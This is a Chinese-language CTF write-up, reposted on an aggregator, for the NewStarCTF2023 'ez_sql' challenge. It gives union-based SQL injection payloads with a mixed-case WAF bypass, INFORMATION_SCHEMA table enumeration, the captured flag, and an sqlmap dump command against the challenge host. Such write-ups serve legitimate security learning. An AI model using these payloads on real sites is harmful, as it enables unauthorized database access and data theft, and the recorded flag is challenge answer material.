NewStarCTF2023week2-ez_sql - 码农知识堂

NewStarCTF2023week2-ez_sql
闭合之后尝试判断字段数，存在WAF，使用大小写绕过（后面的sql语句也需要进行大小写绕过）
```
?id=1' Order by 5--+
```
测出有5列
```
?id=1' Order by 6--+
```
查一下数据库名、版本、用户等信息
```
?id=1'Union Select database(),version(),user(),4,5 --+
```
查出数据库ctf下的表
```
?id=0' uNion Select 1,2,3,4,GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA= 'ctf'--+
```
尝试在表here_is_flag下查找flag
```
?id=0' uNion Select 1,2,3,4,flag FROM ctf.here_is_flag--+
```
flag{e66fd4f6-00ac-4a66-b47e-1af1355d5630}

或者使用sqlmap直接跑出所有库和表内容
```
sqlmap -u "http://3d75c5bf-0a9e-41fc-bb45-e6877f646556.node4.buuoj.cn:81/?id=1"  --columns --dump
```
相关阅读:
【云原生】Docker的基本使用方法与优势
 如何介绍自己的项目经验？
Conmi的正确答案——linux硬盘管理命令（持续更新中）
【redis】-使用Lua脚本解决多线程下的超卖问题以及为什么？
《Java极简设计模式》第07章：装饰模式（Decorator）
SpringBoot整合Redis，缓存批量删除 | redisTemplate.keys(pattern)模糊查询找不到keys，“ * “ 通配符无效
 java毕业设计融呗智慧金融微资讯移动平台小程序端源码+lw文档+mybatis+系统+mysql数据库+调试
 MyBatis 及 MyBatis Plus 纯注解方式配置(Spring Boot + Postgresql)
常见BUG如何在测试过程中分析定位
 写个续集，填坑来了！关于“Thread.sleep(0)这一行‘看似无用’的代码”里面留下的坑。
原文地址：https://blog.csdn.net/Myon5/article/details/133819537